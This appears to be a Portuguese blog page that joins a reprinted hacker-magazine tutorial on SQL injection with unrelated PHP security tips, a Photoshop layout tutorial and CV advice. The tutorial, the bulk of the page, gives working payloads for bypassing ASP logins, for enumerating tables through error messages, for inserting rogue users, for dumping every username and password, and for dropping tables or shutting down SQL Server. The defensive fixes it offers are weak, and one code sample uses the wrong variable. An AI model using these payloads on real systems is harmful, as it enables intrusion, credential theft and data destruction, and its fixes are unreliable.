Conheça tudo sobre SQL Injection

Esse texto é um conjunto de duas matérias que eu publiquei na Revista H4CK3R números #3 e #4. Foram escritos por mim e relata a utilização e formas de correção do SQL Injection.

Modo Básico, passando por senhas em sites

Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas e especiais do site. Cadastro esse que na maioria das vezes é gratuito, com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail para uma possível divulgação, que neste caso não se caracteriza spam, pois o devido usuário previamente aceitou informações vindas daquele site.

Em sites onde o cadastro é pago, aí a coisa muda de figura. O site imagina estar vendendo alguma informação ao visitante, e por isso, pode pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu banco de dados.

O que venho apresentar, jogará seu login no vento e o site arderá no mármore do inferno, mas só vou falar como funciona porque Alah mandou e estava escrito com o bit sagrado.

Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL. Funciona em sites que testam a entrada do login em scripts ASP com chamadas internas de SQL.

Vamos a lógica:

O programador, iniciante ou não, pensa em criar uma área restrita para o site, logo precisará de um login e senha para os usuários. Então é criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma tabela chamada Users, com alguns campos, dentre eles Usuario, Senha, Nome e Admin. Esses campos informarão exatamente o que o nome diz, ou seja, o login do usuário, a sua respectiva senha, seu nome e um campo flag indicando se é admin do site ou não. Se for admin, geralmente tem acessos a cliques extras, do tipo incluir/editar/deletar alguma informação.

Feito isso, cria dentro da sua página um bloco onde pede o login e senha para o usuário ter acesso as devidas áreas. Geralmente, o formulário tem apenas os dois campos mesmo, user e senha. Esses dois campos são enviados para um script .asp, que validará ou não o login informado. Se for válido, redireciona para a área restrita, senão, volta ao login ou no máximo, informa que o login estava errado.

Bonito não!? Teoricamente funciona.

Vamos a prática:

Dentro desse script .asp, o programador colocou algo desse tipo:

*****

‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))

‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn

‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if

*****

Na prática inocente, isso funciona. Funciona muito bem. Testa os usuários, se a senha não for a correta, realmente não entra. Se um usuário foi digitado errado, também não dá acesso.

Mas, na prática hacker, isso funciona melhor ainda, pois permite entrarmos como qualquer usuário do sistema. Até mesmo com status de admin.

Vamos pensar um pouco:

select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘

Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos uma string dentro de outra, devemos usar aspa simples, invés de aspa dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para a string interna.

Traduzindo a string acima, teríamos:
select usuario, senha, nome, admin from Users where usuario=’geek’ and senha=’s3nh4′

Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.

Repito, isso funciona muito bem, quando usamos de forma inocente. Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários.

Você falou, falou, falou…. mas e daí!? Cadê o erro nisso?

Ok. Vamos ao erro:

Se quando formos digitar um login, tivermos essa string de programação do sql na cabeça, podemos formar outra facilmente, que injeta um comando de sql, dentro do que o programador já fez.

Ou seja, se eu digitar Mario no username, o sql ficará:

select usuario, senha, nome, admin from Users where usuario=’Mario’ and senha=’s3nh4′

Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string.

Agora, se digitarmos no username Ma’rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo:

select usuario, senha, nome, admin from Users where usuario=’Ma’rio’ and senha=’s3nh4′

Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma e fechamos a aspa simples. Para o sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação.

Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós não damos a ele, e aproveitando, injetamos um comando nele.

Imagine se usarmos a string ‘ or ‘1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:

select usuario, senha, nome, admin from Users where usuario=” or ‘1’ and senha=’s3nh4′

Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuario que seja igual a vazio OU 1. Lembrando que 1 em informática é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha.

Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:

select usuario, senha, nome, admin from Users where usuario=” or ‘1’ and senha=” or ‘1’

Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos).

Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.

Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.

Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja igual ao que foi informando no campo do formulário.

Outro ponto, é quando não sabemos o nome do usuário, e o site tem muitos cadastros. Então, entramos como qualquer um, e com seus respectivos direitos. No usuário colocamos a string mágica, e na senha chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200 cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o SQL apontará o registro para o primeiro usuário que tenha essa senha no seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222, (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas fáceis desse tipo.

E no caso do login pedido ser um e-mail, essa string não funcionará, pois talvez exista uma validação no campo do login para atestar que o que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites pedindo e-mail login mas que não validavam nada…)

Daí, usamos a string que passa por essas validações (como o campo de e-mail é grande, por não se saber qual o mail do usuário, podemos utilizar essa string maior. A string anterior é pequena para caber em qualquer campo de login e senha).

A string que passa pelos e-mails é:
eu@eu.com’or’.11’=’.11
Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.
Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.
Se verificarem de trás pra frente na string.. procurando por uma TLD válida (com um ponto na terceira ou quarta casa, de trás pra frente), encontrarão o ponto (.) na terceira casa, que significa uma TLD brasileira (.br) ou de outros países. E se ainda verificarem mais pra trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail pertencente a um dominio com subdomínio.

Ok. Sou dono de um site em asp, e uso essa forma de verificação. Agora que você já me ferrou e que todo mundo vai me invadir, pode me dizer como conserto isso?

Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:

O problema todo é que o script só verifica se achou ou não um usuário, não faz um check-up para atestar a veracidade do que foi encontrado. Então, bastaria adicionar o seguinte comando dentro daquele script:

*****

‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))

‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn

‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
else
response.write Login inválido.
end if

*****

Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.

Outra forma também, seria tratar o caractere da aspa simples dentro dos campos de usuario e senha, não deixando ele estar contido nesses campos. Mas é um pouco mais trabalhoso.

Outra coisa que é bom lembrar, é que esse erro não afeta somente a internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de verificação de usuário também estão passíveis a esse erro. Portanto, verifique-os também.

Modo Avançado, buscando e alterando dados

Agora que você já sabe como entrar em um site restrito, que peça login e senha, feito em asp com sql, vamos aprender agora como ver dados das tabelas, modificar ou até mesmo apagar todo o banco de dados.

Aqui são usados conhecimentos avançados de programação em SQL e, se você não conhece SQL (a linguagem), então essa matéria não vai adiantar muita coisa pra você. Recomendo que caso queira se tornar um perito em invasão de banco de dados, vá aprender SQL primeiro. 😉

Nem só de campos de formulários vive um site. O site também pode passar informações pela linha de endereços. Se você não consegue fazer alguma coisa pelos próprios campos (aqui também usaremos o campo de usuário de um login para fazer as ações), então abra o código fonte da página (aquele com o clique do botão direito do mouse, exibir código fonte), e procure pela linha do Form Action. O que vem depois do Action é a url ou página a ser chamada pelo formulário. Depois, procure nas tags de inputs o campo de entrada do usuário, geralmente denominado name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha de comando, livre das travas impostas pelo formulário, tais como o limite de caracteres ou alguma validação de campo feito em javascript. Dessa forma, invés de preencher o campo usuário no form, você colocaria no endereço uma url desse tipo:
http://www.siteemasp.tld/arquivo.asp?user=comandos em sql

Não se preocupe com os espaços na URL, pois o Internet Explorer é bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)

Vamos falar um pouco de teoria

No SQL, o comando de banco de dados é simplesmente uma string com um texto dentro. Esse texto, formado de comandos pré-estipulados, é interpretado pelo SQL e retorna o que foi pedido. Além dos comandos, existe também uma definição de Comentário dentro do SQl, que pra muita gente é algo desconhecido. Da mesma forma que você pode comentar o seu script ou programa, incluindo linhas que dizem pra que serve cada bloco, o SQL também permite, dentro dessa string, um comentário que facilitará o entendimento daquela string quando for lida por outra pessoa. Apesar de quase nunca ser usada na prática, esse caractere de comentário terá uma função extremamente valiosa para nós. Outro caractere que será muito usado e venerado aqui, é o caractere de “faz mais alguma coisa”, que além de executar o primeiro comando, manda executar um segundo comando dentro daquele primeiro. Entenderão o que eu estou dizendo mais na frente.

Só pra ilustrar, o caractere de comentário são dois sinais de menos “–“ e o caractere de nova execução é o ponto-e-vírgula “;”. O caractere asterisco “*” significa todos os campos da tabela.

Finalmente, vamos a prática…

Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais. J

Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:

SQL = “Select * from usuarios where username=’” & user & “’ and pass=’” & pass & “’”

A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.

No campo de usuário, se você colocar o conteúdo:
Usuário: admin’ —
Senha: xyz

O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.

O caractere – – no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:

SQL = “Select * from usuarios where username=’admin’ — ‘ and senha=’xyz’ “

Ou seja, a verificação “ ‘ and senha=…” virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.

Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.

Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:

Usuário: ’ having 1=1 —
Senha: xyz

O erro dado será parecido com o abaixo:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94
Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.

Se fosse usada uma string do tipo:

SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”

O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.

Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:

Usuário: ’ group by usuarios.codigo having 1=1 —
Senha: xyz

Isso irá produzir o seguinte erro:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/arquivo.asp, line 94
Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL. Basta para isso dividir os campos com vírgula, assim:

Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 —

Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.

Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:

Usuário: ’ union select sum(login) from usuarios —

O erro aparece como:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94
Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94
Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.

Usuário: ’ ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( “Geek”, “haxo”, “p4ss”, 1, “12345678900”) –

Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.

Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.

Uma ténica boa para descobrir o conteúdo dos campos é atribuindo um campo texto a um campo numérico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma matéria dentro dele por um código numérico, do tipo idm=432. Daí, podemos descobrir um usuário fazendo o seguinte esquema na URL:

http://www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) —

O erro retornado será assim:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘anderson’ to a column of data type int.
/arquivo.asp, line 94
Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparação de números não pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parênteses.

Agora, podemos também descobrir sua senha, dessa forma:

http://www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) —
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Agora sabemos um usuário e uma senha real do site. Claro que se a senha do Anderson fosse numérica, o que aconteceria era aparecer uma matéria qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código fonte, ou até mesmo na barra de endereços (caso ela mudasse), e saberíamos a senha dele, do mesmo jeito.

Uma outra situação, porém bem mais complexa e avançada, é a criação de SQL Transactions, que nada mais é do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.

A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuários e senha da tabela, e retornando em uma mensagem.

Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+login+’/’+senha from usuarios where login>@ret select @ret as ret into alluser end —

Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um único registro com todos os logins e senhas concatenados.

Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:

http://www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) —

O retorno será alguma coisa desse tipo:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: atadmin/umasenha user3/abcd anderson/14quatorze’ to a column of data type int.
/arquivo.asp, line 94

Depois de ver os dados da nova tabela, apague-a:

Usuário: ‘; drop table alluser —

Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulário, já estão se prevenindo de selects e outros comandos mais. Imaginemos um campo de usuário limitado em 12 caracteres:

Usuário: ‘;shutdown–

Exatos 12 caracteres. Isso derrubará todo o SQL Server da máquina, atingindo também outros sites que usarem esse servidor. Se limitar em menos, existe a alternativa de fazer direto no endereço da url, como foi mostrado no caso do ID de uma matéria do site.

Existe ainda formas de, por comandos em SQL, executar comandos arbitrários dentro do server que roda o sql server. Você por exemplo, poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro da máquina. Mas isso, é um outro assunto. Por hora, tá bom.

Vale lembrar que todas essas situações descritas aqui funcionam em sites com SQL Server. Sites que tem um MDB como banco de dados, os selects funcionarão, mas coisas como SQL Transact e alguns outros comandos peculiares ao SQL Server não irão funcionar.

Você é programador de um site (ou vários) em asp e está perplexo com tudo isso, pois todos os sites que você fez estão vulneráveis a esse erro, e você precisa de uma solução rápida para consertar todos eles? Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada variável, dentro da própria asp, antes de coloca-la dentro de um comando sql. Difícil e penoso? Pois é… quem mandou escolher essa profissão… :))

Escrito Por: Marcelo R. Gomes
Publicado: Nas edições da H4CK3R #3 e #4, da Editora Digerati

Anúncios

Deixe o seu código em PHP mais seguro com essas dicas…

1. Evite colocar seu arquivo de conexão com banco de dados no mesmo diretório das suas páginas ou no diretório usado para includes. O melhor a fazer é colocá-lo em algum diretório fora da raiz do site.

2. Desligue no servidor web a configuração que permite a listagem dos arquivos presentes nos diretórios que não tem um index.php.

3. Evite usar o nome includes para o diretório onde você colocará esse tipo de arquivo.

4. No diretório que você usar para colocar seus arquivos de include, sempre coloque um arquivo index.htm e um index.php em branco. Isso evitará que o servidor liste o conteúdo desse diretório caso esteja com a configuração para listagens habilitada.

5. Jamais use a extensão .inc para seus arquivos de include. Isso pode fazer com que o servidor web mostre dados importantes contidos nesses arquivos. Use sempre a extensão .php. Dessa forma o arquivo sempre será processado antes de ser entregue para os usuários.

6. Desligue o error_reporting no servidor de produção. Erros em scripts PHP normalmente exibem a localização física dos arquivos no servidor ou mostram as consultas inteiras que estão sendo usadas para acessar o banco de dados, por exemplo. Com o error_reporting desligado, essas informações não serão mostradas.

7. Ao criar uma área de administração do site, evite usar nomes óbvios como admin.

8. Ainda na mesma área administrativa, faça configurações que obriguem os usuários a mudar de senha freqüentemente e que não aceite senhas muito simples. Evite também a criação de usuários padrão como: admin, administrador, admintrator, root.

9. Em formulários que enviam dados diretamente para o banco, tomar cuidado com SQL Injection. Para resolver isso, capture esses dados e trate-os com addslashes.

10. Em sistemas dinâmicos, evitar fazer scripts que apagam dados do banco. Costume usar status para os registros e depois construa um script coletor que irá tratar esses dados que deveriam ser apagados.

11. Não esqueça que é possível configurar o nível de permissão do usuário que será usado para acessar o banco de dados. Se seu site apenas faz consultas. Coloque no seu arquivo de conexão um usuário que só possa fazer SELECT no banco.

12. No php.ini, que é o arquivo de configuração do PHP, use o parâmetro disable_functions para desabilitar funções que podem ser perigosas como: exec(), eval(), readfile(), shell_exec(), system(), file(), fopen(), popen() entre outras.

13. Ainda no php.ini, habilite o safe_mode.

14. Sempre desabilitar o usuário root padrão do MySQL, que tem senha em branco.

15. Se for usar algum aplicativo para blog, chat, wiki, etc. Não esqueça de remover o arquivo de instalação do diretório do aplicativo.

Fonte: IDG NOW!

Criando layouts no Photoshop Parte 1

Photoshop CS2

Conteúdo

Tudo bem pessoal? Apesar da falta de tempo para escrever devido a administração do Portal, estou de volta para tentar passar para vocês dicas para criação de layouts de site pelo Photoshop. Iremos durante as próximas semanas criar um layout completo e exporta-lo para html trabalhando somente com DIVS e CSS.
Espero que curtam o trabalho.

Bom para começar iremos criar um novo documento com 778px x 600px. Após iremos criar um quadrado com cantos arredondados. Este quadrado deverá ter 23px por 23px conforme a imagem abaixo. Escolha uma cor de preferência para fazer o preenchimento.

Após iremos duplicar a layer do quadrado acima e deixaremos um espaço duplo entre um quadrado e outro, faça isto até ter 16 quadrados conforme a figura abaixo:

Agora iremos utilizar algumas imagens para criar um efeito legal no nosso layout.

Utilize as imagens abaixo:

Agora voltaremos ao arquivo. Vamos selecionar os quatro primeiros objetos e agruparemos em um só conforme a figura abaixo:

Repita a operação para os outros grupos de quadrados, sempre de 4 em 4.

Agora, iremos inserir a primeira imagem no nosso layout. Após colocaremos ela em cima da layer onde se encontra o nosso primeiro grupo de objetos conforme a figura abaixo.

Vamos colocar a imagem em cima dos quatro primeiros quadrados para criar uma máscara e assim termos um efeito bem legal. Para criar uma máscara clique com o botão direito na layer da imagem e clique em criate clipping mask:

A imagem ficará assim:

Repita a operação para todas as figuras até chegar ao resultado abaixo:

Agora vamos para o passo final desta primeira parte que é a criação de um menu lateral.
Para começar crie um retângulo conforme a figura abaixo (com os cantos arredondados) após vamos preencher ele com a cor #CACACA.

Vamos então colocar uns efeitos nele, para não ficar este cinza chapado.
Para começar vamos colocar um pequeno gradiente.

Trabalhei neste gradiente com um angulo de 51º para dar um efeito mais interessante.
A primeira cor é #A3A0A0, a segunda e a terceira são #CACACA:

Agora vamos inserir o logotipo, no caso deste layout eu inseri o logotipo do MXSTUDIO, mas vocês podem inserir qualquer um.

Vamos criar o menu, escrevam o seguinte texto conforme a imagem abaixo

HOME
SERVIÇOS
CLIENTES
DICAS
LINKS
CONTATO

A cor escolhida foi #143C8F, a fonte SWISS721CNBT e um espaçamento de 24pt entre as palavras.

Para terminar vamos criar um efeito para separar as linhas. Crie um retângulo branco conforme a figura abaixo:

Após vamos colocar uma transparência de 15% no retângulo, copie a operação para todos os itens do menu até chegar ao resultado abaixo:

Segue o PDS para download, espero que vocês tenham gostado. Na próxima etapa estaremos fazendo o corpo do site e a exportação para montagem do arquivo em HTML no Dreamweaver.

Link para o PDS

Abraços e até a próxima.

Autor: Juliano Haussen- Administrador do Portal MXSTUDIO

10 dicas de visual e formatação para criar um modelo de curriculum caprichado

Completando a série de artigos sobre currículos iniciada na semana passada aqui no Efetividade.net, preparei um conjunto de dicas para evitar 10 erros comuns na edição e formatação de currículos.

Já vimos que nem sempre o candidato com o currículo mais caprichado leva vantagem na seleção para uma vaga de emprego ou estágio, mas é comum que aqueles que enviam um currículo desleixado ou incompleto acabem ficando para trás, porque as informações essenciais para a tomada da minha decisão acabam não estando tão acessíveis ou visíveis quanto deveriam – e isso certamente diz alguma coisa sobre o profissional que enviou aquele documento.

Devido às minhas atividades profissionais, eu analiso dezenas de currículos de profissionais da área de informática todos os anos, e muitas vezes tenho a desagradável tarefa de pré-selecionar exclusivamente pelo currículo pessoas para agendar entrevistas para as vagas mais disputadas, e quando isso acontece, a forma de apresentação do currículo é muito importante.

Um currículo caprichado pode fazer a diferença entre uma leitura atenta por parte do avaliador, ou uma simples análise apressada que classifica você como “mais um que copiou o modelo que saiu no jornal”, e o coloca na pilha de descarte. Você não precisa ser um designer profissional para fazer um currículo caprichado – basta ter um pouco de bom senso, e usar bem os recursos que o seu editor de texto lhe coloca à disposição.

Leia também a primeira parte deste artigo, “10 dicas de conteúdo para criar um modelo de curriculum caprichado“. Mas antes continue lendo as dicas abaixo, que foram selecionadas em diversas origens e complementadas com minha própria experiência na relutante condição de pré-avaliador de currículos. Ao final, veja também uma coleção de links para as fontes de informação que selecionei sobre o assunto.

O resumo da ópera é que ao mesmo tempo em que você deseja que seu conteúdo seja lido e entendido, você não quer correr o risco de ser visto como “mais um”, ou que seu avaliador tenha a impressão de que você não se aplicou o suficiente na preparação do currículo. Mas você também não pode correr o risco de se destacar negativamente por cometer exageros na sua composição, ou por fazer com que a forma do currículo chame mais atenção do que o conteúdo. Vamos às dicas, que se concentram nos erros comuns que você deve evitar.

  • 1 – Não seja “mais um”. Fuja dos modelos de currículo pré-fabricados e dos sites que preenchem os currículos automaticamente para você: você não deseja que o seu avaliador veja você como “mais um”. Pelo contrário, você quer se destacar, e precisa fazer isso sem perder a linha. Não há problema em consultá-los, estudá-los ou mesmo em adotar algumas idéias deles, entretanto.
  • 2 – Não use papéis extravagantes. Se você deseja investir na qualidade do papel de seu currículo, escolha um papel de boa qualidade, mas branco, liso e em formato A4. Peça na papelaria por papel A4, gramatura 90 g/m2. Texturas, cores, marmorização e outros “diferenciais” nem sempre passam a mensagem que você gostaria que passassem.
  • 3 – Não inclua uma folha de rosto. É um currículo, e não um relatório escolar! Veja no artigo anterior (10 dicas de conteúdo para criar um modelo de curriculum caprichado) o que deve constar imediatamente na primeira folha do seu currículo.
  • 4 – Não desperdice esforços com uma capa ou envelope especiais. Não há nada de errado com eles, mas tende a ser esforço desperdiçado. A não ser que a empresa seja muito pequena, é provável que os currículos sejam recebidos por um setor de protocolo, repassados a alguém que vai colocá-los em uma pasta e só então entregues ao avaliador – e o seu envelope, capa ou invólucro especial têm enormes chances de irem para o lixo nas primeiras duas etapas.
  • 5 – Não use fontes Times New Roman, Comic Sans ou uma fonte extravagante. A primeira seria adequada (não há nada de errado com ela), mas como é a fonte padrão de vários editores de texto, tem grande chance de ajudar você a parecer “mais um”. A segunda só é adequada para decorações de festas infantis. Escolha uma fonte clara, sóbria e com boa legibilidade. Experimente Arial, Georgia, Verdana. Minha preferida é Georgia 10 ou 11.
  • 6 – Nada de fontes microscópicas. Seu avaliador pode enxergar mal. Uma fonte bastante legível pode ser reduzida até no máximo 9 pontos. O ideal é não descer abaixo dos 10 pontos. Se a parte essencial do seu texto não couber na primeira página, não tente espremê-la reduzindo a fonte.
  • 7 – Use fontes em qualquer cor, desde que seja preto. O uso de fontes em cor cinza é um truque comum para reduzir o “peso” de uma página, mas existe um limite abaixo do qual ele prejudica a legibilidade. Prefira o preto, ou no máximo um cinza bem escuro (75% ou mais).
  • 8 – Sem decoração excessiva. Nada de desenhos, gravuras, ilustrações. Molduras e bordas também devem ser evitadas. Se for usar alguma cor (além do preto), limite-se a apenas uma, e apenas onde houver necessidade de destaque.
  • 9 – Fuja de papéis em formato estranho. Seu avaliador vai receber muitos currículos, e terá que guardá-los em um envelope ou pasta. Se o seu for muito grande, não vai caber. Se for muito pequeno, pode ficar solto, ou ficar entre 2 outros e nem ser lido. No Brasil, use sempre papel em formato A4.
  • 10 – Não imprima em formato paisagem. Ninguém quer virar o seu currículo de lado para ler, especialmente se ele estiver grampeado a vários outros, ou fixado em uma pasta. Arranje outras maneiras de ser diferente ;-)

Que outras dicas você acrescentaria a esta lista? Inclua nos comentários!

10 dicas de conteúdo para criar um modelo de curriculum caprichado

Criar o seu currículo profissional e mantê-lo atualizado é uma atividade que ajuda a visualizar o andamento da sua carreira, e pode fazer a diferença na hora em que você precisar concorrer com outras pessoas por uma vaga, principalmente quando houver pré-seleção (a partir dos currículos, sem chance de um contato adicional) para ver quem passará para a fase das entrevistas.

Devido às minhas atividades profissionais, eu analiso dezenas de currículos de profissionais da área de informática todos os anos, e sempre me impressiono como pessoas com tanta intimidade com o computador podem ter tão pouca noção sobre fazer um documento facilmente legível, compreensível e pesquisável. Muitas vezes tenho a desagradável tarefa de pré-selecionar exclusivamente pelo currículo pessoas para agendar entrevistas para as vagas mais disputadas, e quando isso acontece, a forma de apresentação do currículo é muito importante.

Ao contrário do que o candidato pode pensar, isso não significa que aquele que tem o currículo mais caprichado leva vantagem (embora indiretamente leve), mas sim que aqueles que enviam um currículo desleixado ou incompleto acabam ficando para trás, porque as informações essenciais para a tomada da minha decisão acabam não estando tão acessíveis quanto deveriam – e isso certamente diz alguma coisa sobre o profissional que enviou aquele documento.

As dicas abaixo falam sobre conteúdo e formatação, e foram construídas a partir de um conjunto de artigos disponíveis na Internet (referenciados ao final) e da minha própria experiência profissional. Elas não se aplicam tanto a currículos acadêmicos (Lattes e coisas assim), mas podem fazer a diferença crucial para você ser selecionado para a próxima vaga de emprego ou mesmo de estágio a que você for concorrer.

Você está lendo a parte 1, referente ao conteúdo do seu currículo. A parte 2, sobre o que fazer e o que evitar na formatação visual do currículo, também já está disponível, aqui mesmo no Efetividade.net.

Leia também: Entrevista de emprego: Como se sair bem

10 dicas de conteúdo para criar um modelo de curriculum caprichado

